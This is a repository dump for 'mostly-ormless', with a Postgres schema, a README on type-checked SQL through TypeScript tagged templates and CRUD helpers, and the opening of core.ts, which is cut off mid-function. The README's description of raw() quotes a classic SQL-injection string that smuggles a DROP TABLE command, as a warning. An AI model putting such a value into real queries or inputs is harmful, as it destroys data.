<repo_name>jawj/mostly-ormless<file_sep>/src/schema.sql CREATE TABLE "authors" ( "id" SERIAL PRIMARY KEY , "name" TEXT NOT NULL , "isLiving" BOOLEAN ); CREATE TABLE "books" ( "id" SERIAL PRIMARY KEY , "authorId" INTEGER NOT NULL REFERENCES "authors"("id") , "title" TEXT , "createdAt" TIMESTAMPTZ NOT NULL DEFAULT now() , "updatedAt" TIMESTAMPTZ NOT NULL DEFAULT now() ); CREATE TABLE "tags" ( "tag" TEXT NOT NULL , "bookId" INTEGER NOT NULL REFERENCES "books"("id") ); CREATE UNIQUE INDEX "tagsUniqueIdx" ON "tags"("bookId", "tag"); CREATE INDEX "tagsBookIdIdx" ON "tags"("tag"); CREATE TABLE "emailAuthentication" ( "email" TEXT PRIMARY KEY , "consecutiveFailedLogins" INTEGER NOT NULL DEFAULT 0 , "lastFailedLogin" TIMESTAMPTZ ); CREATE TYPE "appleEnvironment" AS ENUM ( 'PROD' , 'Sandbox' ); CREATE TABLE "appleTransactions" ( "environment" "appleEnvironment" NOT NULL , "originalTransactionId" TEXT NOT NULL , "accountId" INTEGER NOT NULL , "latestReceiptData" TEXT -- ... lots more fields ... ); ALTER TABLE "appleTransactions" ADD CONSTRAINT "appleTransPKey" PRIMARY KEY ("environment", "originalTransactionId"); <file_sep>/README.md Mostly ORMless: ergonomic Postgres from TypeScript == **I have now turned this approach into a library: please see https://jawj.github.io/zapatos/ for details** -- _I gave [a very brief outline of this on HN](https://news.ycombinator.com/item?id=19853066) and a few people sounded interested, so here goes. It's extracted from my work as co-founder/CTO at [PSYT](https://www.psyt.co.uk)._ TypeScript and VS Code are [wonderful](https://stackoverflow.com/questions/12694530/what-is-typescript-and-why-would-i-use-it-in-place-of-javascript/35048303#35048303). ORMs are [problematic](https://en.wikipedia.org/wiki/Object-relational_impedance_mismatch). Using an ORM within TypeScript can be particularly aggravating, since you can find yourself specifying lots of type information twice over (once to define the database schema, and once to define the associated TypeScript types). That's why, in the course of converting a project to TypeScript recently, I decided to switch it from [Sequelize](http://docs.sequelizejs.com/) to [TypeORM](https://typeorm.io). The first day was wonderful: shiny TypeScript toys! The rest of the week was less so: perhaps even more than other ORMs, TypeORM just doesn't seem to _get_ SQL. So, let's back up a bit. What am I really after? Well, I like and understand Postgres. I like and understand SQL. When I'm working with data, I'd like a good mental model of what SQL is going to be issued. I don't mind writing the SQL myself, but in that case let me _write_ the SQL, rather than deal with the endlessly chained method calls of a 'query builder'. Also, I'm greedy. I want all that, but I want to keep all the type-checking goodness of TypeScript — speeding development, preventing bugs, simplifying refactoring — too. And I'd _strongly_ prefer not to spend hours laboriously adding and later maintaining lots of type information to facilitate it. In short, I want [cake](https://www.theguardian.com/books/2018/jul/05/word-of-the-week-cake). So I set out to see if I could rustle some up. As it turns out, this was about a week-long project in [three acts](https://en.wikipedia.org/wiki/Three-act_structure): * _[Act 1](#act1): In which we translate a Postgres schema into TypeScript types._ Spoiler: we'll use a project called [schemats](https://github.com/SweetIQ/schemats) here. * _[Act 2](#act2): In which we significantly expand that type information and use it to improve the ergonomics of writing raw SQL._ Spoiler: ES2015 [tagged templates](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Template_literals#Tagged_templates) will play a starring role. * _[Act 3](#act3): In which we create a set of simple shortcut functions on top, which looks a little bit like an ORM but really isn't._ Spoiler: Typescript [function signature overloads](https://www.typescriptlang.org/docs/handbook/functions.html) on concrete string values will be these functions' secret sauce. (There is a also a brief [encore](#encore) in which I discuss transactions). <a name="act1"></a>Act 1: In which we translate a Postgres schema into TypeScript types -- If you want type information that matches a database schema, you have two ways to maintain a [single source of truth](https://en.wikipedia.org/wiki/Single_source_of_truth). On the one hand, you can define a schema in TypeScript (or JavaScript), then automagically issue database commands to sync up the tables and columns. That's the approach taken by both Sequelize and TypeScript. This approach helps manage schema updates across multiple databases (e.g. test, staging, production). But I've always been a bit leery of it: I'm not sure I want any code, let alone a third party npm library, issuing `CREATE`/`ALTER`/`DROP TABLE` statements at will where production data may be involved. So, on the other hand, you can take the database schema as your source of truth, then interrogate it to discover the tables and column types. This is what [Active Record](https://guides.rubyonrails.org/active_record_basics.html) does (or at least, what it did when I last used it, about 10 years ago), and what I'm going to do here. Managing schema updates across multiple databases is therefore something I'm not going to address (but check out tools such as [dbmate](https://github.com/amacneil/dbmate)). Active Record interrogates the database at runtime, but I'm going to do it prior to runtime: discovering types only at runtime would be largely pointless, since what we want is type information to ease development. As it happens, there's already a library that can do most of the heavy lifting we need, called [schemats](https://github.com/SweetIQ/schemats). How does it work? Well, take this simple database schema: ```sql CREATE TABLE authors ( "id" SERIAL PRIMARY KEY , "name" TEXT NOT NULL , "isLiving" BOOLEAN ); CREATE TABLE books ( "id" SERIAL PRIMARY KEY , "authorId" INTEGER NOT NULL REFERENCES "authors"("id") , "title" TEXT , "createdAt" TIMESTAMPTZ NOT NULL DEFAULT now() , "updatedAt" TIMESTAMPTZ NOT NULL DEFAULT now() ); ``` If we run vanilla schemats against this, we get the following TypeScript definitions for the `books` table: ```typescript export namespace booksFields { export type id = number; export type authorId = number; export type title = string | null; export type createdAt = Date; export type updatedAt = Date; } export interface books { id: booksFields.id; authorId: booksFields.authorId; title: booksFields.title; createdAt: booksFields.createdAt; updatedAt: booksFields.updatedAt; } ``` This is a helpful description of what you might get back from a `SELECT` query, and we can use it as follows First, some housekeeping — we set up a connection pool: ```typescript import * as pg from "pg"; const pool = new pg.Pool({ /* connection options */ }); ``` Then: ```typescript const authorId = 123, // in production this could be untrusted input result = await pool.query({ text: 'SELECT * FROM "books" WHERE "authorId" = $1', values: [authorId], }), existingBooks: books[] = result.rows; ``` Our results now pop out fully typed. But there are still some real annoyances here: * There's nothing to stop me absent-mindedly or fat-fingeredly trying to query from the non-existent tables `"novels"` or `"boks"`, or according to the non-existent columns `"writerId"` or `"authorid"`, or indeed trying to equate my `"authorId"` with a string or date. There's no auto-complete to help me out, and any errors (whether introduced now or by a future schema update) will only become apparent later on, at runtime. * I have to keep track of the order of interpolated parameters, and provide them separately from the query text. That's only `authorId` in this instance, but there could be dozens. * Things are even worse for `INSERT`s and `UPDATE`s, where I need to generate separate, matching-ordered lists of column names and their corresponding values. So, here's the plan. I'm going to come up with some ES2015 [tagged templates](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Template_literals#Tagged_templates) to improve these SQL-writing ergonomics in TypeScript. But first, to support that, I'm going to need some more complete type information about my tables. <a name="act2"></a>Act 2: In which we expand that type information and use it to improve the ergonomics of writing raw SQL -- I said I wanted more complete type information about my tables. Specifically, I want the types I generate to specify not just what I'll get back from a `SELECT` query, but also what I'm allowed to use in a `WHERE` condition, and what I can `INSERT` and `UPDATE` too. So these are the four main interfaces I'm going to define: * **`Selectable`**: what I'll get back from a `SELECT` query. This is what schemats was already giving us. * **`Whereable`**: what I can use in a `WHERE` condition. This is approximately the same as `Selectable`, but all columns are optional. It is (subject to some later tweaks) a `Partial<Selectable>`. * **`Insertable`**: what I can `INSERT` into a table. This is also similar to `Selectable`, but any fields that are `NULL`able and/or have `DEFAULT` values are allowed to be missing, `NULL` or `DEFAULT`. * **`Updatable`**: what I can `UPDATE` a row with. This is similar to what I can `INSERT`, but all columns are optional: it is a simple `Partial<Insertable>`. I [forked schemats](https://github.com/PSYT/schemats) to generate these interfaces. While I was at it I also got rid of the verbose, original, two-stage approach, where a type alias is created for every column. Ignoring a few additional bells and whistles, my schemats fork therefore now generates something like the following when run against the `books` table: ```typescript export namespace books { export interface Selectable { id: number; authorId: number; title: string | null; createdAt: Date; updatedAt: Date; } export type Whereable = Partial<Selectable>; export interface Insertable { id?: number | DefaultType; authorId: number; title?: string | null | DefaultType; createdAt?: Date | DefaultType; updatedAt?: Date | DefaultType; } export type Updatable = Partial<Insertable>; } export const Default = Symbol('DEFAULT'); export type DefaultType = typeof Default; ``` If I'm querying that table, I now type the returned rows as `books.Selectable[]` instead of just `books[]`: ```typescript const existingBooks: books.Selectable[] = /* database query goes here */; ``` And if I have an object with data that I plan to insert into the `books` table, or that I plan to use to look up a particular book, I can now also have that type-checked and auto-completed in VS Code, like so: ```typescript const newBook: books.Insertable = { authorId: 123, title: "One Hundred Years of Solitude", }; const bookConditions: books.Whereable = { authorId: 456, }; ``` But how am I going to use these extra types? Enter the [tagged templates](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Template_literals#Tagged_templates) I mentioned earlier. Tagged templates are pleasingly flexible. Critically, neither a template's interpolated values nor its return value have to be strings. And TypeScript supports tagged templates fully, applying the tag function's signature to the interpolated values. This is useful because: * I'm going to define a typed tagged template function, `sql`, which we'll use to write queries. * It's going to be generic, so I can tell it which table(s) it targets: e.g. `sql<books.SQL>` ``` `-- database query goes here` ``` * It's not going to return a string (yet), but an instance of a class I'm going to call `SQLFragment`. * Different kinds of interpolated values will be processed in different ways, and they'll be type-checked and auto-completed appropriately. * An important kind of interpolated values is other `SQLFragment`s. * When it comes to making the query, the root `SQLFragment` will be compiled recursively to produce the appropriate `{ text: '', values: [] }` object that can be passed on to `pg`. It's still going to be possible to write invalid SQL, of course, but a bunch of simple errors (including most of the errors that could be introduced by future refactorings) will be caught at compile time or earlier. **`SELECT`** How does this look in practice? Well, the simple query above ends up looking like this: ```typescript const authorId = 123, query = sql<books.SQL>`SELECT * FROM ${"books"} WHERE ${{ authorId }}`, existingBooks: books.Selectable[] = await query.run(pool); ``` What's happening here? Well, first, the table name is now being interpolated, which means it will be type checked and auto-completed. That means: I can pick it from a list; if I get it wrong, I'll be told so immediately; and if I later change its name in the database but forget to change it here, I'll be told so immediately too. ![Screenshot: table type-checking](README-resources/table-type-check.png) So the first kind of interpolated value my `sql` template tag function supports is a plain string. This is type-checked/auto-completed to correspond to a valid table or column name. It will be double-quoted in the generated raw SQL, to protect any idiomatic JavaScript/TypeScript camelCased column names. And, second, the object I've passed as my `WHERE` clause is being type-checked/auto-completed as the appropriate `books.Whereable` type. It will be compiled to `("authorId" = $1)`, and its value will be inserted at the appropriate index of the pg query `values` array. ![Screenshot: column auto-completion](README-resources/column-auto-complete.png) So the second kind of interpolated value I can use in a `sql` template is a plain object. This is type-checked/auto-completed as an appropriate `Whereable`, and compiled to a set of `WHERE` conditions connected with `AND`s. These `Whereable` objects in fact have more flexibility than I let on before, since they also accept `SQLFragment` values. For example, what if I want to see only books for a particular author that were added during the last _N_ days? Then I can write the following: ```typescript const authorId = 123, days = 7, query = sql<books.SQL>` SELECT * FROM ${"books"} WHERE ${{ authorId, createdAt: sql<books.SQL>` ${self} > now() - ${param(period)} * INTERVAL '1 DAY'`, }}`; ``` And to confirm how this is compiled: ```typescript > console.log(query.compile()); { text: 'SELECT * FROM "books" WHERE ("authorId" = $1 AND ("createdAt" > now() - $2 * INTERVAL \'1 DAY\'))', values: [ 123, 7 ] } ``` You can see the `SQLFragment` nested inside the `Whereable`. You can also see a symbol I've called `self`, which is compiled to its parent column name. Finally, I'm using my `param` wrapper function, which lets me manually insert parameters to be represented as `$1`, `$2` (etc.) and added to the pg query's `values` array. **`INSERT` and `UPDATE`** There are some additional supported interpolation types that can help with `INSERT` and `UPDATE` queries. For example, what if I wanted to save the `Insertable` object I showed you before? I can write: ```typescript const newBook: books.Insertable = { authorId: 123, title: "One Hundred Years of Solitude", }, query = sql<books.SQL>` INSERT INTO ${"books"} (${cols(newBook)}) VALUES (${vals(newBook)})`; ``` And this gives the expected: ```typescript > console.log(query.compile()); { text: 'INSERT INTO "books" ("authorId", "title") VALUES ($1, $2)', values: [ 123, 'One Hundred Years of Solitude' ] } ``` The `cols` and `vals` wrapper functions ultimately produce identically-ordered sequences of the object's keys (quoted) and values (safely passed via pg's `values` array) respectively. And, of course, this is all being type-checked and auto-completed as I type it: ![Screenshot: column name auto-completion](README-resources/column-title-auto-complete.png) And if, for example, someone renames the `title` column to `name` in future, TypeScript will complain before I even try to run the program. For further flexibility, there are three further kinds of interpolated value that are supported in a `sql` template. They are: * The `Default` symbol I mentioned earlier, compiling to the `DEFAULT` keyword. * `raw()` — as in `raw(name)`, where `name` is `"Robert'); -- DROP TABLE Students; --"` ([XKCD](https://www.xkcd.com/327/)) — for times when you really know what you're doing. * Arrays containing any of the other supported interpolation types, whose compiled results are simply concatenated together. Some of this relies on a few further types that I tweaked schemats to generate too: ```typescript export namespace books { /* ... Selectable, Whereable, Insertable, Updatable, mostly as before, but all except Selectable now also allow SQLFragment values ... */ export type Table = "books"; export type Column = keyof Selectable; export type SQLExpression = GenericSQLExpression | Table | Whereable | Column | ColumnNames<Updatable> | ColumnValues<Updatable>; // all building up to the books.SQL type we saw above: export type SQL = SQLExpression | SQLExpression[]; } // these are mostly the types of symbols or wrapper classes (not shown) export type GenericSQLExpression = SQLFragment | Parameter | DefaultType | DangerousRawString | SelfType; ``` **`JOIN`s** We can of course use all of these types to help us in more complicated queries too. Take this `JOIN`, for example, retrieving each book with its (single) author. We can use Postgres's excellent JSON support to produce a sensibly-structured return value and avoid column name clashes: ```typescript type bookAuthorSQL = books.SQL | authors.SQL | "author"; type bookAuthorSelectable = books.Selectable & { author: authors.Selectable }; const query = sql<bookAuthorSQL>` SELECT ${"books"}.*, to_jsonb(${"authors"}.*) as ${"author"} FROM ${"books"} JOIN ${"authors"} ON ${"books"}.${"authorId"} = ${"authors"}.${"id"}`; const bookAuthors: bookAuthorSelectable[] = await query.run(pool); ``` Producing: ```typescript > console.log(bookAuthors[0]); { "id": 14, "authorId": 123, "title": "One Hundred Years of Solitude", "createdAt": "2019-06-11T14:52:30.291Z", "updatedAt": "2019-06-11T14:52:30.291Z", "author": { "id": 123, "name": "<NAME>", "isLiving": false } } ``` In which everything is appropriately typed: ![Screenshot: column name auto-completion](README-resources/selectable-auto-complete.png) Of course, we might also want the converse query, retrieving each author with their (many) books. This is also easy enough to arrange: ```typescript type authorBooksSQL = authors.SQL | books.SQL; type authorBooksSelectable = authors.Selectable & { books: books.Selectable[] }; const query = sql<authorBooksSQL>` SELECT ${"authors"}.*, jsonb_agg(${"books"}.*) AS ${"books"} FROM ${"authors"} JOIN ${"books"} ON ${"authors"}.${"id"} = ${"books"}.${"authorId"} GROUP BY ${"authors"}.${"id"}`, authorBooks: authorBooksSelectable[] = await query.run(pool); ``` Which gives: ```typescript > console.dir(authorBooks[0]); [ { id: 123, name: '<NAME>', isLiving: false, books: [ { id: 139, title: 'Love in the Time of Cholera', authorId: 123, createdAt: '2019-09-22T19:49:32.373132+01:00', updatedAt: '2019-09-22T19:49:32.373132+01:00' }, { id: 140, title: 'One Hundred Years of Solitude', authorId: 123, createdAt: '2019-09-22T19:49:32.380854+01:00', updatedAt: '2019-09-22T19:49:32.380854+01:00' } ] } ] ``` (It also demonstrates a useful SQL fact: selecting all fields in a `GROUP BY` query is [permitted as long as you're grouping by primary key](https://dba.stackexchange.com/questions/158015/why-can-i-sel)). Note that if you want to include authors with no books, you need a `LEFT JOIN` in this query, and then you'll want to fix the annoying [`[null]` array results `jsonb_agg` will return for those authors](https://stackoverflow.com/questions/24155190/postgresql-left-join-json-agg-ignore-remove-null). One way to do that is to define a simple function to replace `[null]` with the empty array `[]`: ```sql CREATE OR REPLACE FUNCTION empty_nulls(jsonb) RETURNS jsonb AS $$ SELECT CASE $1 WHEN '[null]'::jsonb THEN '[]'::jsonb ELSE $1 END $$ LANGUAGE SQL IMMUTABLE; ``` And wrap it around the `jsonb_agg` call: ```typescript const query = sql<authorBooksSQL>` SELECT ${"authors"}.*, empty_nulls(jsonb_agg(${"books"}.*)) AS ${"books"} FROM ${"authors"} LEFT JOIN ${"books"} ON ${"authors"}.${"id"} = ${"books"}.${"authorId"} GROUP BY ${"authors"}.${"id"}`; ``` Alternatively, we can achieve the same result using a [`LATERAL` join](https://medium.com/kkempin/postgresqls-lateral-join-bfd6bd0199df) instead: ```typescript const query = db.sql<authorBooksSQL>` SELECT ${"authors"}.*, bq.* FROM ${"authors"} CROSS JOIN LATERAL ( SELECT coalesce(json_agg(${"books"}.*), '[]') AS ${"books"} FROM ${"books"} WHERE ${"books"}.${"authorId"} = ${"authors"}.${"id"} ) bq`; ``` This approach is straightforward to extend to more complex, nested cases too. Say, for example, that we let each book have multiple tags, with the following addition to the schema: ```sql CREATE TABLE "tags" ( "tag" TEXT NOT NULL , "bookId" INTEGER NOT NULL REFERENCES "books"("id") ); CREATE UNIQUE INDEX "tagsUniqueIdx" ON "tags"("bookId", "tag"); CREATE INDEX "tagsBookIdIdx" ON "tags"("tag"); ``` Then we could retrieve authors, each with their books, each with its tag values, using the following screenful: ```typescript type authorBookTagsSQL = authors.SQL | books.SQL | tags.SQL; type authorBookTagsSelectable = authors.Selectable & { books: (books.Selectable & { tags: tags.Selectable['tag'] })[] }; const query = sql<authorBookTagsSQL>` SELECT ${"authors"}.*, bq.* FROM ${"authors"} CROSS JOIN LATERAL ( SELECT coalesce(jsonb_agg(to_jsonb(${"books"}.*) || to_jsonb(tq.*)), '[]') AS ${"books"} FROM ${"books"} CROSS JOIN LATERAL ( SELECT coalesce(jsonb_agg(${"tags"}.${"tag"}), '[]') AS ${"tags"} FROM ${"tags"} WHERE ${"tags"}.${"bookId"} = ${"books"}.${"id"} ) tq WHERE ${"books"}.${"authorId"} = ${"authors"}.${"id"} ) bq`; const authorBookTags: authorBookTagsSelectable[] = await query.run(pool); console.dir(authorBookTags, { depth: null }); ``` Which gives, correctly typed: ```typescript [ { id: 1, name: '<NAME>', isLiving: false, books: [ { id: 284, tags: [], title: 'Pride and Prejudice', authorId: 1, createdAt: '2019-11-04T17:06:11.209512+00:00', updatedAt: '2019-11-04T17:06:11.209512+00:00' } ] }, { id: 123, name: '<NAME>', isLiving: false, books: [ { id: 285, tags: [ 'Spanish', '1980s' ], title: 'Love in the Time of Cholera', authorId: 123, createdAt: '2019-11-04T17:06:11.209512+00:00', updatedAt: '2019-11-04T17:06:11.209512+00:00' }, { id: 286, tags: [], title: 'One Hundred Years of Solitude', authorId: 123, createdAt: '2019-11-04T17:06:11.228866+00:00', updatedAt: '2019-11-04T17:06:11.228866+00:00' } ] }, { id: 456, name: '<NAME>', isLiving: false, books: [] } ] ``` **Field subsets** Unless you have very wide tables and/or very large values, it could be a [premature optimization](https://softwareengineering.stackexchange.com/questions/80084/is-premature-optimization-really-the-root-of-all-evil) to query only for a subset of fields. But if you need it, two conveniences are provided: (1) the `cols` function can take an array of column names, and simply spit them out quoted and comma-separated; and (2) there's a table-specific type helper `OnlyCols` that will narrow `Selectable` down to the columns included in such an array. For example: ```typescript const bookCols = <const>['id', 'title']; // <const> prevents generalization to string[] type BookDatum = books.OnlyCols<typeof bookCols>; const query = sql<books.SQL>`SELECT ${cols(bookCols)} FROM ${"books"}`, bookData: BookDatum[] = await query.run(pool); ``` Giving: ```typescript > console.log(bookData); [ { id: 153, title: 'Pride and Prejudice' }, { id: 154, title: 'Love in the Time of Cholera' }, { id: 155, title: 'One Hundred Years of Solitude' } ] ``` And that marks the end of Act 2. SQL queries are now being auto-completed and type-checked for me, which is excellent. But a lot of the simple stuff still feels a bit boiler-platey and verbose. <a name="act3"></a>Act 3: In which we create a set of simple shortcut functions on top, which looks a little bit like an ORM but really isn't -- In the final Act, I aim to make the simple one-table CRUD stuff fall-off-a-log easy with some straightforward helper functions. For these helper functions I generate a set of overloaded signatures per table, which means the return type and all other argument types can be inferred automatically from the table name argument. I haven't yet done anything to help with JOINs, but that may be worth considering for the future. **`SELECT`** First, `SELECT`s. I define a `select` function, and my schemats fork generates appropriate signatures for it for every table in the database. Using that function turns this query: ```typescript const query = sql<books.SQL>`SELECT * FROM ${"books"} WHERE ${{ authorId }}`, existingBooks: books.Selectable[] = await query.run(pool); ``` Into this: ```typescript const existingBooks = await select(pool, "books", { authorId }); ``` What's really nice here is that, thanks to the schemats-generated function signatures, once I've typed in `"books"` as the second argument to the function, TypeScript and VS Code know how to type-check and auto-complete both the third argument (which, if present, must be a `books.Whereable`) and the return value (which must be a `Promise<books.Selectable[]>`). ![Screenshot: inferred return type](README-resources/return-type.png) The generated function signatures that make this happen look approximately like so: ```typescript interface SelectSignatures { (client: Queryable, table: authors.Table, where?: authors.Whereable, options?: authors.SelectOptions): Promise<authors.Selectable[]>; (client: Queryable, table: books.Table, where?: books.Whereable, options?: books.SelectOptions): Promise<books.Selectable[]>; } ``` The `options` keys include `columns`, which lets me limit the columns to be returned, such as: ```typescript const allBookTitles = await db.select(db.pool, "books", undefined, { columns: ['title'] }); ``` The return type is then appropriately narrowed to those columns: ![Screenshot: inferred return type for a subset of columns](README-resources/subset-columns.png) The `options` keys also include `order`, `limit` and `offset`, so I can do this kind of thing: ```typescript const [lastButOneBook] = await select(pool, "books", { authorId }, { order: [{ by: "createdAt", direction: "DESC" }], limit: 1, offset: 1 }); ``` The order `by` option is being type-checked and auto-completed, of course. I used destructuring assignment here (`[lastButOneBook] = /* ... */`) to account for the fact that I know this query is only going to return one response. Unfortunately, destructuring is just syntactic sugar for indexing, and indexing in TypeScript [doesn't reflect that the result may be undefined](https://github.com/Microsoft/TypeScript/issues/13778). That means that `lastButOneBook` is now typed as a `books.Selectable`, but it could actually be `undefined`, and that could lead to errors down the line. To work around this, I also define a `selectOne` helper function. This turns the query above into the following: ```typescript const lastButOneBook = await selectOne(pool, "books", { authorId }, { order: [{ by: "createdAt", direction: 'DESC' }], offset: 1 }); ``` The `limit` option is applied automatically in this case, and the return type following `await` is now, correctly, `books.Selectable | undefined`. "Oh, great", I hear you say, unenthusiastically. "We've come all this way, and you've finished up reinventing the ORMs and query builders you promised we were going to escape". Well, I don't think so. This is not an ORM. There's no weird magic going on behind the scenes — not even the merest hint that any semantics are being obscured. There's just a mechanical transformation of some function parameters into a single SQL query, which makes my life easier. One call to `select` means one unsurprising `SELECT` query is issued, and happily both the inputs and outputs of that query are now fully type-checked. It's also not a query builder. There's no interminable method chaining. There's just type-checking and some additional conveniences applied to writing raw SQL queries, and some shortcut functions that can create basic SQL queries on your behalf. With that out of the way, onwards and upwards: `INSERT`s, `UPDATE`s, and (because, hey, now we can do anything Postgres can do) [UPSERT](https://wiki.postgresql.org/wiki/UPSERT)s! **`INSERT`** The `insert` helper has the same sort of table-specific signatures as select, and it turns the `INSERT` query we saw earlier into this: ```typescript const savedBook = await insert(pool, "books", { authorId: 123, title: "One Hundred Years of Solitude", }); ``` This produces the same query we wrote previously, but now with the addition of a `RETURNING *` clause at the end, meaning that we get back a `books.Selectable` that includes values for all the columns with defaults, such as the `id` serial. In addition, we can insert multiple rows in one query: the function is written (and has appropriate type signatures) such that, if I instead give it an array-valued `books.Insertable[]`, it gives me an array-valued `books.Selectable[]` back: ```typescript const savedBooks = await insert(pool, "books", [{ authorId: 123, title: "One Hundred Years of Solitude", }, { authorId: 456, title: "Cheerio, and Thanks for All the Fish", }]); ``` **`UPDATE`** Updates are likewise straightforward, fully typed, and also return the affected rows as a `Selectable[]`: ```typescript const fishBookId = savedBooks[1].id, properTitle = "So Long, and Thanks for All the Fish", [updatedBook] = await update(pool, "books", { title: properTitle }, { id: fishBookId } ); ``` We can again use a `SQLFragment` in an `update` for further flexibility — for example, if we needed to atomically increment a count. In a different context — for a schema that's not shown — I do something like the following: ```typescript await update(pool, "emailAuthentication", { consecutiveFailedLogins: sql`${self} + 1`, lastFailedLogin: sql`now()`, }, { email } ); ``` **'UPSERT'** This being the thinnest possible wrapper around Postgres, we can of course do native 'UPSERT's too: I'll illustrate this one with a simplified example culled from our actual codebase, which deals with In-App Purchase updates for our iOS apps. ```sql CREATE TABLE "appleTransactions" ( "environment" "appleEnvironment" NOT NULL -- ENUM of 'PROD' or 'Sandbox' , "originalTransactionId" TEXT NOT NULL , "accountId" INTEGER REFERENCES "accounts"("id") NOT NULL , "latestReceiptData" TEXT -- ... lots more fields ... ); ALTER TABLE "appleTransactions" ADD CONSTRAINT "appleTransPKey" PRIMARY KEY ("environment", "originalTransactionId"); ``` When we receive a purchase receipt, either via our iOS app or direct from Apple's servers, we need to either store a new record or update an existing record for each 'original transaction ID' it contains. We therefore `map` the transaction data in the receipt into an `appleTransactions.Insertable[]`, and do what's needed with a single `upsert` call. Hard-coding the `Insertable[]` for ease of exposition: ```typescript const newTransactions: s.appleTransactions.Insertable[] = [{ environment: 'PROD', originalTransactionId: '123456', accountId: 123, latestReceiptData: "TWFuIGlzIGRpc3Rp", }, { environment: 'PROD', originalTransactionId: '234567', accountId: 234, latestReceiptData: "bmd1aXNoZWQsIG5v", }], result = await upsert(pool, "appleTransactions", newTransactions, ["environment", "originalTransactionId"]); ``` The last argument to `upsert` is the key or array of keys on which there could be a conflict. In this case, the following query is issued: ```typescript { text: `INSERT INTO "appleTransactions" ("accountId", "environment", "latestReceiptData", "originalTransactionId") VALUES ($1, $2, $3, $4), ($5, $6, $7, $8) ON CONFLICT ("environment", "originalTransactionId") DO UPDATE SET ("accountId", "latestReceiptData") = ROW(EXCLUDED."accountId", EXCLUDED."latestReceiptData") RETURNING *, CASE xmax WHEN 0 THEN 'INSERT' ELSE 'UPDATE' END AS "$action"`, values: [ 123, 'PROD', 'TWFuIGlzIGRpc3Rp', '123456', 234, 'PROD', 'bmd1aXNoZWQsIG5v', '234567' ] } ``` The (awaited) return value is an `appleTransactions.UpsertReturnable[]`. An `UpsertReturnable` is just like a `Selectable` but with one extra property, `$action: "INSERT" | "UPDATE"`, valued according to what in fact happened. This is modelled on [a similar approach in MS SQL Server](https://www.mssqltips.com/sqlservertip/1704/using-merge-in-sql-server-to-insert-update-and-delete-at-the-same-time/). The `result` of the above query might therefore be: ```typescript > console.log(result); [{ "environment": "PROD", "originalTransactionId": "123456", "accountId": 123, "latestReceiptData": "TWFuIGlzIGRpc3Rp", "$action": "UPDATE" }, { "environment": "PROD", "originalTransactionId": "234567", "accountId": 234, "latestReceiptData": "bmd1aXNoZWQsIG5v", "$action": "INSERT" }] ``` <a name="encore"></a>Encore: Transactions -- The 'transactions' we just saw were data about people giving us money, but — for added confusion — let's talk for a moment about _database_ transactions (as in: `BEGIN TRANSACTION` and `COMMIT TRANSACTION`). Transactions are an area where I've found TypeORM especially clumsy, and both Sequelize and TypeORM very footgun-prone. Both these ORMs encourage you not to think very often about which DB client will be running your query, and also make it very easy to issue some commands unintentionally outside of an open transaction (in Sequelize, you have to add a `transaction` option on the end of every query; in TypeORM, you have to remember to only use some decorator-injected transaction-aware contraption or other). That's why everything I've shown here requires a client argument to be specified explicitly, and all the above helper functions take that client as their first argument. To make life easier, I've written a `transaction` helper function that handles issuing a `ROLLBACK` on error, releasing the database client in a `finally` clause (i.e. whether or not an error was thrown), and automatically retrying queries in case of serialization failures. The helper simply takes the isolation level you're looking for and calls the function you provide, handing over an appropriate database client. ```typescript const result = transaction(Isolation.Serializable, async txnClient => { /* transaction queries go here, using txnClient instead of pool */ }); ``` In addition, it provides a set of hierarchical isolation types, so that you can declare a function as requiring a particular isolation level _or above_. Type-checking will then allow you to pass a client associated with any appropriate level. For example, if you type the `txnClient` argument to your function as `TxnSatisfying.RepeatableRead`, you can call it with `Isolation.Serializable` or `Isolation.RepeatableRead`, but not `Isolation.ReadCommitted`. Try it out -- Everything you need to give this approach a spin is included in this repo. Make sure you have node, npm and Postgres installed, then: ```sh cd /some/appropriate/path git clone https://github.com/jawj/mostly-ormless.git cd mostly-ormless npm install createdb mostly_ormless psql -d mostly_ormless < src/schema.sql ``` Then: ```sh npx ts-node src/demo.ts # runs all the examples in this README ``` Once you've got `demo.ts` running successfully, you can play around with your own queries in there. You can also modify the database schema, of course. For this, you'll need my schemats fork, so in the root of this project run: ```sh npm submodule init npm submodule update cd schemats npm install cd .. ``` Then, whenever you change the schema in Postgres, regenerate `src/schema.ts` by running (as one long line): ```sh npx ts-node schemats/bin/schemats.ts generate -c postgres://localhost/mostly_ormless -o src/schema.ts ``` Where next? -- If you think this approach could be useful in your own projects, feel free to adopt/adapt it. I'd be interested to hear how you get on. I could of course create an npm library for all this, but I think it's much more truly ORMless if you just take the code (`core.ts` is less than 400 lines), understand it, and make it your own. **I have now turned this approach into a library: please see https://jawj.github.io/zapatos/ for details** -- <file_sep>/src/core.ts import * as pg from 'pg'; import { isDatabaseError } from './pgErrors'; import { InsertSignatures, UpdateSignatures, DeleteSignatures, SelectSignatures, SelectOneSignatures, CountSignatures, Insertable, Updatable, Whereable, Table, Column, UpsertSignatures, } from './schema'; const config = { // in use, you'll probably import this from somewhere dbURL: 'postgresql://localhost/mostly_ormless', dbTransactionAttempts: 5, dbTransactionRetryDelayRange: [25, 125], verbose: true, }; export const pool = new pg.Pool({ connectionString: config.dbURL }); // === symbols, types, wrapper classes and shortcuts === export const Default = Symbol('DEFAULT'); export type DefaultType = typeof Default; export const self = Symbol('self'); export type SelfType = typeof self; // see https://github.com/Microsoft/TypeScript/issues/3496#issuecomment-128553540 export type JSONValue = null | boolean | number | string | JSONObject | JSONArray; export interface JSONObject { [k: string]: JSONValue; } export interface JSONArray extends Array<JSONValue> { } export class Parameter { constructor(public value: any) { } } export function param(x: any) { return new Parameter(x); } export class DangerousRawString { constructor(public value: string) { } } export function raw(x: string) { return new DangerousRawString(x); } export class ColumnNames<T> { constructor(public value: T) { } } export function cols<T>(x: T) { return new ColumnNames<T>(x); } export class ColumnValues<T> { constructor(public value: T) { } } export function vals<T>(x: T) { return new ColumnValues<T>(x); } export type GenericSQLExpression = SQLFragment | Parameter | DefaultType | DangerousRawString | SelfType; export type SQLExpression = Table | ColumnNames<Updatable | (keyof Updatable)[]> | ColumnValues<Updatable> | Whereable | Column | GenericSQLExpression; export type SQL = SQLExpression | SQLExpression[]; // === simple query helpers === export type Queryable = pg.Pool | PoolClient<any>; export const insert: InsertSignatures = async function (client: Queryable, table: Table, values: Insertable | Insertable[]): Promise<any> { const 